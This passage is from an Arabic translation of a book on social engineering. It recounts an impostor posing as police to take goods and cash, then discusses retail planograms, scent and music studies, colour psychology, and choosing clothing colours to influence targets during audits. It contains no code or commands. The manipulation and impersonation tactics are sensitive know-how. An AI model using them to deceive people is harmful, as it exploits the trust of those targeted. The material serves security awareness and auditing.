‫ﻟﺳرﻗﺔ ﺑﻌض اﻷﻗراص اﻟﻣدﻣﺟﺔ ‪ CDs‬ﻣن اﻟﻣﺗﺟر‪ .‬ﺣﯾث ﻋﺎﻣل اﻟﻣﺗﺟر اﻋﺗﻘل اﻟﻧﺟم واﻧﺗظر رﺟﺎل اﻟﺷرطﺔ ﻟﻠوﺻول‪ .‬ﻣﺷﻰ ﺑول اﻟﻰ اﻟﻣﺗﺟر‪،‬‬
‫وﻋرف ﻧﻔﺳﮫ ﻋﻠﻰ أﻧﮫ ﺷرطﻲ‪ ،‬أوﻣض ﻣﺣﻔظﺗﮫ ﻣﻊ أي ﺷﻲء ﺣﯾث ﻛﺎن ﻣﺟرد ﺻورة ﻷطﻔﺎﻟﮫ ﻓﻲ ذﻟك‪ ،‬وﻛﺎن ﻗﺎدرا ﻋﻠﻰ "اﻋﺗﻘﺎل" اﻟﻧﺟم‪ ،‬وأﺧذ‬
‫اﻷﻗراص اﻟﻣدﻣﺟﺔ واﻟﻣﺎل ﻟﺗﺳﺟﯾل اﻟﻧﻘدﯾﺔ ﻛدﻟﯾل‪ ،‬وﺗرك دون أي اﻋﺗراض‪ .‬ھذه اﻟﻘﺻﺔ ھﻲ ﻣﺛﺎل ﻣﻣﺗﺎز ﻟﮭذا اﻟﻧوع ﻣن اﻟﺗﻼﻋب ﻟﺑﻧﺎء اﻟﺣﺎﻟﺔ‪.‬‬
‫ﺣﯾث أوﺟد ﺑول اﻟﻣﺷﻛﻠﺔ )اﻟﻧﺟم اﻟﺳﺎرق( وﻗدم ﻧﻔﺳﮫ ﺑﺎﻋﺗﺑﺎره اﻟﺣل )اﻟﺷرطﻲ( ﻟﻠﻣﺷﻛﻠﺔ‪ .‬أﯾﺎ ﻛﺎن اﻟﺳﯾﻧﺎرﯾو‪ ،‬ﺑﻧﺎء اﻟﺣﺎﻟﺔ ﻋن ﺷﺧص ﺟﯾد ﻛﻧﺗﮫ‬
‫ﻗﺑل ﺗﻘدﯾم طﻠﺑك‪ ،‬وھذه اﻟﺣﺎﻟﺔ ﺗﺟﻌل اﻟطﻠب أﻛﺛر ﻗﺑوﻻ ﻟﻠﺷﺧص اﻟذي ﺗﺣﺎول اﻟﺗﻼﻋب ﺑﮫ‪.‬‬
‫ﻻ ﯾﻤﻜﻨﻚ أن ﺗﺠﻌﻠﻨﻲ أن أﺷﺘﺮى ھﺬا )‪(You Can’t Make Me Buy That‬‬
‫ﻛﻣﺎرت‪ .‬وﺿﻌت ﻛﻣﺎرت ﻓﻛرة ﺗدﻋﻰ "ﺻورة ﻣﻘطﻌﯾﺔ )‪ ،"(planogram‬وھو رﺳم ﺗﺧطﯾطﻲ ﯾظﮭر ﻛﯾﻔﯾﺔ ﻋرض اﻟﺗﺟﺎر ﻟﻣﻧﺗﺟﺎﺗﮫ ﻋﻠﻰ‬
‫أﺳﺎس اﻷﻟوان واﻷﺣﺟﺎم‪ ،‬وﻣﻌﺎﯾﯾر أﺧرى ﻟﻠﺗﻼﻋب ﺑﻌﻣﻼﺋﮭﺎ ﺑﺟﻌﻠﮭﺎ ﺗرﯾد اﻟﺷراء وﻗﺿﺎء أﻛﺛر ﻣن ﻏﯾرھﺎ‪.‬‬
‫ﺗم ﺗﺻﻣﯾم ‪ Planograms‬اﻷﻣﺛل ﻟﺧﻠﻖ وﺿﻊ اﻟﻣﻧﺗﺞ اﻟﺑﺻري واﻟﺗﺟﺎري‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪938‬‬

‫اﺳﺗﺧدام ھذه ‪ planograms‬ھو ﺷﻛل ﻣن أﺷﻛﺎل اﻟﺗﻼﻋب ﻷن اﻟﺑﺎﺣﺛون درﺳوا ﻛﯾف ﯾﺗﺳوق اﻟﻧﺎس‪ ،‬ﺗﻔﻛﯾرھم‪ ،‬واﻟﺷراء‪ .‬ﻓﮭم ھذه اﻷﻣور‬
‫ﺳﺎﻋدت ﻋﻠﻰ ﺗطوﯾر آﻟﯾﺎت ﻟﻠﺳﯾطرة ﻋﻠﻰ اﻟﻣدﺧﻼت اﻟﺑﺻرﯾﺔ ﻟزﯾﺎدة رﻏﺑﺔ اﻟﻣﺗﺳوﻗﯾن ﻟﻠﺷراء‪.‬‬
‫اﻟﺑرﻣﺟﯾﺎت‪ ،‬وﻛذﻟك اﻟﺷرﻛﺎت ﻛﻠﮭﺎ‪ ،‬ﻣﻛرﺳﺔ ﻟﺗﺧطﯾط وﺗﻧﻔﯾذ ھذه ‪ planograms‬ﻟﻠﺗﺄﺛﯾر اﻷﻗﺻﻰ ﻋﻠﻰ إﺑﻘﺎء اﻟﻣﺗﺳوﻗﯾن ﻟﻠﺗﺳوق‪.‬‬
‫ﺗﺳﺗﺧدم ﺛﻼﺛﺔ ﺗﺧطﯾطﺎت ﻣﺧﺗﻠﻔﺔ ﻟﻠﺗﻼﻋب ﺑﺎﻟﻣﺗﺳوﻗﯾن‪:‬‬
‫‪ -‬وﺿﻊ اﻟﻣﻧﺗﺞ أﻓﻘﻲ )‪ :(Horizontal product placement‬ﻟزﯾﺎدة ﺗرﻛﯾز اﻟﻌﻣﯾل ﻋﻠﻰ ﻣﺎدة ﻣﻌﯾﻧﺔ‪ ،‬ﺣﯾث ﯾﺗم ﺗطﺑﯾﻖ اﻟوﺿﻊ‬
‫اﻻﻓﻘﻲ اﻟﻣﺗﻌدد ﻟﻣﻧﺗﺞ واﺣد ﺟﺎﻧب اﻟﻰ ﺟﺎﻧب‪ .‬وﺟد ﺑﻌض اﻟﺗﺟﺎر أن اﻟﺣد اﻷدﻧﻰ ﺑﯾن ﻛل ﺟزء ‪ 15‬و‪ 30‬ﺳم ﻟﻣﻧﺗﺞ واﺣد ﺿروري‬
‫ﻟﺗﺣﻘﯾﻖ زﯾﺎدة ﻓﻲ اﻧﺗﺑﺎه اﻟﻌﻣﻼء‪.‬‬

‫وﺿﻊ اﻟﻣﻧﺗﺞ رأﺳﯾﺎ )‪ :(vertical product placement‬طرﯾﻘﺔ ﻣﺧﺗﻠﻔﺔ ﻣﺳﺗﺧدﻣﮫ ھو وﺿﻊ اﻟﻣﻧﺗﺞ رأﺳﻲ‪ .‬ھﻧﺎ ﯾﺗم وﺿﻊ اﻟﻣﻧﺗﺞ‬ ‫‪-‬‬
‫اﻟواﺣد ﻋﻠﻰ أﻛﺛر ﻣن رف ﻋﻠﻰ ﻣﺳﺗوﯾﺎت ﻣﺧﺗﻠﻔﺔ ﻟﺗﺣﻘﯾﻖ اﻟﻣﺳﺎﻓﺔ ‪ 30-15‬ﺳم‪.‬‬
‫‪Products are grouped together to drawn the eye to items they want to sell‬‬

‫وﺿﻊ اﻟﻣﻧﺗﺞ ﻋﻠﻰ ھﯾﺋﺔ ﻛﺗل )‪ :(Block placement‬ﯾﺗم وﺿﻊ اﻟﻣﻧﺗﺟﺎت اﻟﺗﻲ ﻟدﯾﮭﺎ ﺷﻲء ﻣﺷﺗرك ﻓﻲ ﻛﺗﻠﺔ )اﻟﻌﻼﻣﺎت اﻟﺗﺟﺎرﯾﺔ(‪.‬‬ ‫‪-‬‬
‫ﯾﻣﻛن اﻟﻘﯾﺎم ﺑذﻟك ﺟﻧﺑﺎ إﻟﻰ ﺟﻧب‪ ،‬ﻋﻠﻰ رأس ﻛل ﻣﻧﮭﻣﺎ اﻵﺧر‪ ،‬وﺗرﻛزت‪ ،‬أو ﺑﺎﺳﺗﺧدام اﻟﺷﻣﺎﻋﺎت اﻟﻣﻐﻧﺎطﯾﺳﯾﺔ‪.‬‬
‫‪Another example of a few different types of planograms being used at once‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪939‬‬

‫‪ Planograms‬ﻟﯾﺳت ھﻲ اﻟطرﯾﻘﺔ اﻟوﺣﯾدة ﺑﺎﻟﺗﻼﻋب ﺑﺎﻟﻣﺗﺳوﻗﯾن‪ .‬إﻧﺟﺎز اﺧﺗﺑﺎر واﺣد ﻣﺗﺿﻣﻧﮫ ﻣرﻛز ﺗﺟﺎري ﻣﻊ ﺗﺷﻐﯾل ﺣﻠﻘﺎت ﻣن اﻟﻣوﺳﯾﻘﻰ‬
‫ﻣﺻﻣﻣﺔ ﺧﺻﯾﺻﺎ‪ .‬ﻛﺎﻧت اﻟﻧﺗﯾﺟﺔ ﺑﻘﺎء اﻟﻣﺗﺳوﻗﯾن ﻓﻲ اﻟﻣرﻛز اﻟﺗﺟﺎري ﺑﻣﻌدل ‪ ٪18‬أطول ﻣن اﻟﻣﻛﺎن اﻟذي ﻻ ﯾوﺟد ﺑﮫ ﻣوﺳﯾﻘﻰ‪.‬‬
‫ﻓﻲ ﻣﺟﻠﺔ اﻟﺑﺣوث اﻟﺗﺟﺎرﯾﺔ )‪ ،(Journal of Business Research‬ﺟﺎن ﺷﺎرﻟز ﺷﯾﺑت ورﯾﺗﺷﺎرد ﻣﯾﺷون ﻧﺷرا دراﺳﺔ أﺟرﯾت ﻓﻲ اﻟﻣرﻛز‬
‫اﻟﺗﺟﺎري اﻟﻛﻧدي)‪ . (http://www.ryerson.ca/~rmichon/Publications/Ambient%20odors.pdf‬ﺿﺦ اﻟﺑﺎﺣﺛون اﻟﻌﺑﯾر‪/‬اﻟرواﺋﺢ‬
‫)‪ (aromas‬اﻟﻣﺻﻣﻣﺔ ﺧﺻﯾﺻﺎ ﻓﻲ اﻟﮭواء واﻟذي ﻛﺎن ﻣن اﻟﻣﻔﺗرض أن ﯾؤدي إﻟﻰ اﻟﺳﻌﺎدة واﻟرﻏﺑﺔ ﻓﻲ اﻟﺷراء‪ .‬ﻛﺎﻧت اﻟﻧﺗﯾﺟﺔ اﻧﮫ أﻧﻔﻖ‬
‫ﻣﺗوﺳط ‪ 50‬دوﻻرا أﻛﺛر ﻟﻛل ﻣﺗﺳوق ﻓﻲ ﺗﻠك اﻟدراﺳﺔ ﻟﻣدة أﺳﺑوع‪.‬‬
‫اﻟرﺣﻼت اﻟﺧﺎﺻﺔ ﺑك إﻟﻰ ﻣراﻛز اﻟﺗﺳوق وﻣﺣﻼت اﻟﺑﻘﺎﻟﺔ ﺳوف ﻻ ﺗﻛون ﻧﻔﺳﮫ اﻵن‪ .‬وﻣﻊ ذﻟك‪ ،‬ﯾﻣﻛﻧك ﺗﻌﻠم اﻟﻛﺛﯾر ﻣن ھذه اﻷﺳﺎﻟﯾب‬
‫واﻟﺗﺟﺎرب‪ .‬ﻣﻌرﻓﺔ ﻛﯾف ﯾﻣﻛن ﻟﻠﻧﺎس ﺗﺟﻣﯾﻊ اﻷﺷﯾﺎء ﻓﻲ ﻋﻘوﻟﮭم ﻛﯾف ﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ ﺗﻧظﯾم اﻟرﻓوف ﻟﻣﻌﺎﻟﺟﺔ اﻟﻣﺷﺎﻋر واﻟﻌواطف‪،‬‬
‫واﻷﻓﻛﺎر ﻣﻊ أھداﻓك‪.‬‬
‫ﺣول ﻣوﺿوع اﻷﻟوان‪ ،‬ﻓﮭﻲ وﺳﯾﻠﺔ رﺋﯾﺳﯾﺔ ﻟﻠﺗﻼﻋب ﺑﻌواطف اﻟﮭدف‪ .‬ﺗطﺑﯾﻖ اﻟﻌدﯾد ﻣن اﻟﻣﺑﺎدئ ﻧﻔﺳﮭﺎ ﻋﻠﻰ اﻷﻟوان ﻛﻣﺎ ﯾﻔﻌﻠون ﻟوﺿﻊ اﻟﻣﻧﺗﺞ‪.‬‬
‫اﻷﻟوان اﻟﺗﻲ ﺗﺧﺗﺎرھﺎ ﻻرﺗداء أو اﻻﺳﺗﺧدام ﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ اﻟﮭدف‪ .‬وﻗد أﺟرﯾت اﻟﻛﺛﯾر ﻣن اﻟﺑﺣوث ﻋﻠﻰ اﻷﻟوان وﺗﺄﺛﯾراﺗﮭﺎ‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ‬
‫ﻗﺎﺋﻣﺔ ﻗﺻﯾرة ﻣن ﺑﻌض ﻧواﺣﻲ ﻟون ﻣﻌﯾن ﯾﻣﻛﻧﮫ أن ﯾؤﺛر ﻋﻠﻰ ﺗﻔﻛﯾر أو ﻋواطف ﺷﺧص آﺧر‪:‬‬
‫‪ -‬اﻷﺑﯾض )‪ :(white‬ﻛﺛﯾرا ﻣﺎ ﯾرﺗﺑط ﻣﻊ اﻟﻧﻘﺎء‪ ،‬اﻟﺿوء‪ ،‬واﻟﻧظﺎﻓﺔ‪ .‬أﻧﮫ ﯾﻌطﻲ اﻟﺷﻌور ﺑﺎﻷﻣن واﻟﺣﯾﺎد وﻛذﻟك اﻟﺧﯾر واﻹﯾﻣﺎن‪ .‬ھذا ھو‬
‫اﻟﺳﺑب ﻓﻲ أن اﻷﺑﯾض ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم ﻓﻲ ﺣﻔﻼت اﻟزﻓﺎف أو ﻛﻠون اﻻﺳﺗﺳﻼم‪.‬‬
‫‪ -‬اﻷﺳود )‪ :(black‬اﻷﺳود ﻏﺎﻟﺑﺎ ﻣﺎ ﯾدل ﻋﻠﻰ اﻟﻘوة واﻷﻧﺎﻗﺔ‪ ،‬واﻟﻐﻣوض‪ ،‬واﻟﻘوة‪ .‬ﯾﺗم اﺳﺗﺧداﻣﮫ ﻟﻠدﻻﻟﺔ ﻋﻠﻰ اﻟﺳﻠطﺔ‪ ،‬وﻋﻣﻖ‪،‬‬
‫واﻻﺳﺗﻘرار‪ .‬اﻷﺳود ﯾﻌطﻲ اﻟﺷﻌور ﺑﺎﻟﮭدوء واﻟﺳﻛﯾﻧﺔ‪ .‬ﻷﻧﮫ ﯾﺗﻧﺎﻗض ﻣﻊ اﻷﻟوان اﻷﺧرى‪ ،‬ﻓﺈﻧﮫ ﯾﻣﻛن أﯾﺿﺎ أن ﯾﺳﺗﺧدم ﻟﺗﺣﺳﯾن اﻷﻟوان‬
‫اﻷﺧرى‪.‬‬
‫‪ -‬اﻷﺣﻣر )‪ :(red‬ﯾرﺗﺑط اﻷﺣﻣر ﻣﻊ اﻹﺛﺎرة واﻟﻔرح‪ .‬أﻧﮫ ﻟون ﻣﻠﻲء ﺑﺎﻻﺣﺗﻔﺎل‪ ،‬واﻟﻌﻣل‪ ،‬واﻟطﺎﻗﺔ‪ .‬ﯾﻣﻛن أن ﯾﻛون دﻻﻟﺔ ﻋن ﺻﺣﺔ‬
‫ﺟﯾدة‪ ،‬وﺳرﻋﺔ‪ ،‬وﻋﺎطﻔﺔ‪ ،‬واﻟرﻏﺑﺔ‪ ،‬واﻟﺣب‪ .‬اﻷﺣﻣر ﯾﻣﻛن أن ﺗﺣﻔز اﻟﻣﺷﺎﻋر وﻛذﻟك زﯾﺎدة ﻣﻌدل ﺿرﺑﺎت اﻟﻘﻠب‪ ،‬واﻟﺗﻧﻔس‪ ،‬وﺿﻐط‬
‫اﻟدم‪.‬‬
‫اﻷﺣﻣر ﯾﻣﻛن أن ﯾؤدي اﻟﻰ إطﻼق ﻋﺎطﻔﮫ ﻗوﯾﺔ –ﯾﺟب اﻻﺳﺗﺧدام اﻟﺣذر ﻋﻧد اﺳﺗﺧدام أﺣﻣر‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﯾﻣﻛن أن ﺗدل ﻋﻠﻰ اﻟﻘوة‬
‫واﻻﻧدﻓﺎع‪ ،‬وﻟﻛن ﯾﻣﻛن أن ﺗدل ﻋﻠﻰ اﻟﻘوة واﻟﺗرھﯾب‪ ،‬واﻟﻐزو‪ ،‬وﺣﺗﻰ اﻟﻌﻧف واﻻﻧﺗﻘﺎم‪ .‬ﻛن ﺣذرا ﻓﻲ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻷﺣﻣر‪.‬‬
‫‪ -‬اﻟﺑرﺗﻘﺎﻟﻲ )‪ :(Orange‬اﻟﺑرﺗﻘﺎل ﯾﻌطﻲ اﻟدفء واﻟﺣﻣﺎس واﻟﺟﺎذﺑﯾﺔ‪ ،‬ﻋزم وﻗوة وﺗﺣﻣل‪ .‬ﯾﻣﻛن أن ﺗﺣﻔز أي ﺷﺧص ﻟﯾﺷﻌر ﺑﺗﻧﺷﯾط‬
‫وﺗﺣﻔﯾز ﺣﺗﻰ ﺷﮭﯾﺗﮫ‪.‬‬
‫اﻟﺑرﺗﻘﺎﻟﻲ ھو ﻟون آﺧر ﯾﺟب أن ﺗﻛون ﺣذرا ﻣﻌﮫ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن ان اﺳﺗﺧدام اﻟﺑرﺗﻘﺎل ﻟﮫ ﻓواﺋد ﻋدﯾدة ﺟﯾدة‪ ،‬ﻣﺛل ﺟﻌل اﻟﻣﺷﺎھد ﯾﺷﻌر ﺑﺎﻟدفء‬
‫واﻟﺟذب ﻟك أو اﻟﻣﻧﺗﺞ اﻟﺧﺎص ﺑك‪ ،‬أﻛﺛر ﻣن اﻟﻼزم أو اﻟﺟﻣﻊ اﻟﺧطﺄ ﯾﻣﻛﻧﮫ ﺧﻠﻖ ﻣﺷﺎﻋر اﻧﻌدام اﻷﻣن واﻟﺟﮭل واﻟﺧﻣول‪.‬‬
‫‪ -‬اﻟذھﺑﻲ )‪ :(gold‬ﻋﺎدة ﯾرﺗﺑط اﻟذھب ﻣﻊ اﻹﺿﺎءة‪ ،‬واﻟﺣﻛﻣﺔ واﻟﺛروة واﻟﻣﻛﺎﻧﺔ‪.‬‬
‫‪ -‬اﻷﺻﻔر )‪ :(Yellow‬ﯾرﺗﺑط اﻷﺻﻔر ﻣﻊ اﻟطﺎﻗﺔ واﻟﺗﻔﺎؤل واﻟﻔرﺣﺔ واﻟﺑﮭﺟﺔ‪ ،‬واﻟوﻻء واﻟﻧﺿﺎرة‪ .‬ﻓﺈﻧﮫ ﯾﻣﻛن أن ﯾﺳﺑب ﻟﻠﺷﺧص أن‬
‫ﯾﺷﻌر ﺑﺎﻟﺗرﻛﯾز واﻟﯾﻘظﺔ‪.‬‬
‫اﻷﺻﻔر ﻟدﯾﮫ أﯾﺿﺎ ﺗﺄﺛﯾر ﻋﻠﻰ ذاﻛرة اﻟﺷﺧص )ﻟﻣﺎذا ھذا اﻟﻌدد اﻟﻛﺑﯾر ﻣن اﻟﻣﻼﺣظﺎت ﻋن اﻻﺻﻔر؟(‪ .‬ﺗﺳﺗﺧدم ﺑﻛﻣﯾﺎت ﺻﻐﯾرة‪ ،‬ﯾﻣﻛن أن ﺗؤدي‬
‫اﻟﻰ ﻣﺷﺎﻋر اﯾﺟﺎﺑﯾﺔ‪ ،‬وﻟﻛن اﻟﻛﺛﯾر ﯾﻣﻛن أن ﯾﺳﺑب ﻟﻠﮭدف ﻓﻘدان اﻟﺗرﻛﯾز أو ﯾﺷﻌر ﺑﺎﻻﻧﺗﻘﺎد‪.‬‬
‫‪ -‬اﻷﺧﺿر )‪ :(green‬ﻛﺛﯾرا ﻣﺎ ﯾرﺗﺑط ﻣﻊ اﻟطﺑﯾﻌﺔ اﻟﺧﺿراء واﻟوﺋﺎم واﻟﺣﯾﺎة واﻟﺧﺻوﺑﺔ‪ ،‬واﻟطﻣوح‪ ،‬واﻟﺣﻣﺎﯾﺔ‪ ،‬واﻟﺳﻼم‪ .‬وﯾﻣﻛن أن‬
‫ﺗﻧﺗﺞ ﺗﺄﺛﯾر ﻣﮭدئ ﻟﻠﻐﺎﯾﺔ‪ ،‬ﻣﻣﺎ ﯾﺟﻌل أي ﺷﺧص ﯾﺷﻌر ﺑﺎﻷﻣﺎن‪.‬‬
‫اﻷﺧﺿر ھو ﻟون ﻗوة أﺧر وﻟﻛن ﯾﻣﻛﻧﮫ أﯾﺿﺎ أن ﯾﺟﻌل اﻟﻣرء ﯾﺷﻌر ﺑﺎﻟﺟﺷﻊ‪ ،‬ﻣذﻧب‪ ،‬اﻟﻐﯾرة‪ ،‬واﻟﻐﺑطﺔ إذا ﻣﺎ اﺳﺗﺧدﻣت ﻓﻲ إﻋداد ﺧﺎطﺊ أو‬
‫اﺳﺗﺧدﻣت اﻟﻛﺛﯾر‪.‬‬
‫‪ -‬اﻷزرق )‪ :(blue‬ﯾرﺗﺑط اﻷزرق ﻣﻊ ﻟون اﻟﺳﻣﺎء واﻟﻣﺣﯾطﺎت‪ .‬ﯾﻣﻛن أن ﺗﻛون ﻣرﺗﺑطﺔ ﺑﺎﻻﺳﺗﺧﺑﺎرات‪ ،‬واﻟﺣدس واﻟﺣﻘﯾﻘﺔ واﻟﮭدوء‪،‬‬
‫واﻟﺻﺣﺔ‪ ،‬واﻟطﺎﻗﺔ‪ ،‬واﻟﻣﻌرﻓﺔ‪ .‬ھو ﻣﮭدئ ﺟدا وﺗﺑرﯾد وﻛﺎن ﻣﻌروﻓﺎ ﻹﺑطﺎء ﻋﻣﻠﯾﺔ اﻷﯾض‪.‬‬
‫اﻷزرق ھو أﺳﮭل ﻟون ﯾﻣﻛن ﻟﻠﻌﯾﻧﯾن اﻟﺗرﻛﯾز ﻋﻠﯾﮫ‪ .‬ﯾﻣﻛن أن ﯾﻛون ﻟﮫ اﻟﻌدﯾد ﻣن اﻵﺛﺎر اﻹﯾﺟﺎﺑﯾﺔ‪ ،‬وﻟﻛن ﯾﺟب اﻟﺣرص ﻋﻠﻰ ﻋدم ﺟﻌل اﻟﮭدف‬
‫ﯾﺷﻌر ﺑﺎﻟﺑرد أو اﻻﻛﺗﺋﺎب‪.‬‬
‫‪ -‬اﻷرﺟواﻧﻲ )‪ :(Purple‬ﯾرﺗﺑط اﻷرﺟواﻧﻲ ﻣﻊ اﻟﻣﻠوك‪ ،‬واﻟﻧﺑﻼء‪ ،‬واﻟﺗرف‪ ،‬واﻹﺑداع‪ ،‬واﻟﻐﻣوض‪.‬‬
‫‪ -‬اﻟﺑﻧﻰ )‪ :(brown‬ﯾرﺗﺑط اﻟﺑﻧﻰ ﻣﻊ اﻷرض‪ ،‬واﻟﻣوﺛوﻗﯾﺔ‪ ،‬ﻗﺎﺑﻠﯾّﺔ اﻹدراك‪ ،‬اﻻﺗﻔﺎﻗﯾﺔ‪ ،‬واﻟﻧظﺎم‪ .‬وﯾﻣﻛن أن ﺗﺧﻠﻖ ﻣﺷﺎﻋر أن ھﻧﺎك ﺟذور‬
‫أو ﻣﺗﺻل‪ ،‬أو وﺟود إﺣﺳﺎس ﺑﺎﻟﻧظﺎم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪940‬‬

‫ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧدام ﻛل ھذه اﻟﻣﻌﻠوﻣﺎت؟ أﻧﺎ ﻻ أﻗﺗرح أن ﻣﻊ اﻟزي اﻷزرق اﻟﺑﺳﯾط ﯾﻣﻛﻧك أن ﺗﺟﻌل ﺷﺧﺻﺎ ﻣﺎ ﯾﺷﻌر ﺑﺎﻟﮭدوء ﻣﺎ ﯾﻛﻔﻲ ﻟﺗﺳﻠﯾم‬
‫ﻟك ﻛﻠﻣﺔ ﺳره‪ .‬وﻣﻊ ذﻟك ﯾﻣﻛﻧك اﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﻠﺗﺧطﯾط ﻟﻧﺎﻗﻼت اﻟﮭﺟوم اﻟﺧﺎص ﺑك‪ ،‬وﺿﻣﺎن أن ﯾﻛون ﻟدﯾك أﻓﺿل ﻓرﺻﺔ ﻟﻠﻧﺟﺎح‪،‬‬
‫واﻟذي ﯾﺗﺿﻣن ﻛﯾف ﺗﻧظرون وﻛﯾف ﯾرﺗدون ﻟك‪.‬‬
‫ﻣن ﺷﺄن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أﻧﮫ ﯾرﯾد ﺗﺣﻠﯾل اﻟﮭدف واﻟذي ﺳﯾﺗم اﺳﺗدﻋﺎﺋﮫ وﺗﺄﻛد ﻣن أن اﻷﻟوان اﻟﺗﻲ ﯾﺧﺗﺎرھﺎ ﻻرﺗداﺋﮫ ﺗزﯾد ﻣن ﻗدرﺗﮫ ﻋﻠﻰ‬
‫اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﮭدف وﻟﯾس إﯾﻘﺎف ﺗﺷﻐﯾﻠﮫ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻣﻊ اﻟﻌﻠم أن اﻷﺧﺿر ﻗد ﯾﺛﯾر ﻣﺷﺎﻋر اﻟطﻣﻊ أو اﻟطﻣوح ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ أن ﯾﻘرر ﻋدم ارﺗداء اﻷﺧﺿر ﻓﻲ اﺟﺗﻣﺎع ﻣﻊ ﺟﻣﻌﯾﺔ ﺧﯾرﯾﺔ ﺣﯾث أﻧﮫ ﻗد ﺗﺳﺗﺣﺿر اﻟﻣﺷﺎﻋر واﻟﻌواطف ﺗﺗﻌﺎرض ﻣﻊ ﻣﮭﻣﺔ‬
‫اﻟﻣؤﺳﺳﺔ اﻟﺧﯾرﯾﺔ‪ .‬ارﺗداء اﻷزرق ﻟﻣﻛﺗب اﻟﻣﺣﺎﻣﻲ‪ ،‬ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾر ﻣﮭدئ‪ ،‬واﻟﺳﻣﺎح ﻟﻠﻣﺣﺎﻣﻲ ﻟﻔﺗﺢ أﻛﺛر‪ .‬اﻟﺗﺧطﯾط‬
‫اﻟدﻗﯾﻖ واﻻﺳﺗﺧدام اﻟﻣﻌﻘول ﻣن ھذه اﻷﺳﺎﻟﯾب ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻓﻲ ﺿﻣﺎن ﻧﺟﺎح ﻋﻣﻠﯾﺎت ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟدﯾك‪.‬‬
‫ﺗﮭﯿﺌﺔ اﻷھﺪاف ﻟﻼﺳﺘﺠﺎﺑﺔ ﺑﺈﯾﺠﺎﺑﯿﮫ )‪(Conditioning Targets to Respond Positively‬‬

‫ﯾﺳﺗﺧدم اﻟﺗﮭﯾﺋﺔ )‪ (conditioning‬ﻓﻲ ﻛل ﺷﻲء ﻣن اﻟﻣﺣﺎدﺛﺔ اﻟﻌﺎدﯾﺔ إﻟﻰ اﻟﺗﺳوﯾﻖ اﻟﻰ اﻟﺗﻼﻋب اﻟﺧﺑﯾث‪ .‬ﺗﻣﺎﻣﺎ ﻣﺛل ﻛﻠب ﺑﺎﻓﻠوف‪ ،‬ﺣﯾث ﯾﺗم‬
‫ﺗﮭﯾﺋﺔ اﻟﻧﺎس ﻟﻠرد ﻋﻠﻰ ﺑﻌض اﻟﺑﻧود‪ .‬وﻛﺛﯾرا ﻣﺎ ﯾﺳﺗﺧدم اﻟطﺑﯾﻌﺔ اﻟﺑﺷرﯾﺔ ﻟﻣﻌﺎﻟﺟﺔ ﻏﺎﻟﺑﯾﺔ اﻟﻧﺎس ﻻﺗﺧﺎذ اﻹﺟراءات اﻟﺗﻲ ﯾرﯾدھﺎ اﻟﻣﺗﻼﻋﺑﯾن‪.‬‬
‫ﻋﻧدﻣﺎ ﯾﻛون اﻋﺗﻘﺎد ﻏﺎﻟﺑﯾﺔ اﻟﻧﺎس أن اﻷطﻔﺎل ﺳوف ﯾﺑﺗﺳﻣون‪ ،‬ﺳﻧﺟد ﺣﯾواﻧﺎت ﺗﺗﻛﻠم "ﻟطﯾف"‪ ،‬وﺣﺗﻰ ﻗد ﯾﺗم اﻟﺗﻼﻋب ﻣﻊ ﻏﻧﺎء أﻏﻧﯾﮫ ﻋﻠﻰ ﻣﻧﺗﺞ‬
‫ﺷﻌﺑﻲ ﻓﻲ رؤوﺳﻧﺎ‪ .‬ھذه اﻟﺗﻛﺗﯾﻛﺎت ھﻲ ﺳرﯾﺔ ﺑﺣﯾث ﻟﻣرات ﻋدﯾدة ﻧﺣن ﻻ ﻧﻌرف أﻧﮭﺎ ﺗﻌﻣل‪.‬‬
‫وأﺣد ﻣن اﻷﻣﺛﻠﺔ ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﺗﮭﯾﺋﺔ ھﻲ إطﺎرات‪/‬ﻋﺟﻼت ﻣﯾﺷﻼن )اﻧظر اﻟﺷﻛل اﻟﺗﺎﻟﻲ(‪ .‬ﻟﺳﻧوات ھذه اﻟﺷرﻛﺔ ﺗﺳﺗﺧدم اﻷطﻔﺎل ﻓﻲ‬
‫إﻋﻼﻧﺎﺗﮭﺎ‪ .‬ﻟﻣﺎذا؟ "ﻷن ھﻧﺎك اﻟﻛﺛﯾر ﻋﻧد ﺗرﻛﯾب اﻹطﺎرات اﻟﺧﺎﺻﺔ ﺑك‪ ".‬ﻟﻛن ھذه اﻹﻋﻼﻧﺎت ﻟدﯾﮭﺎ اﻟﻛﺛﯾر ﻟﮭم‪ .‬ﻓﻌﻧدﻣﺎ ﺗرى اﻟطﻔل‪ ،‬ﺗﺑﺗﺳم‪،‬‬
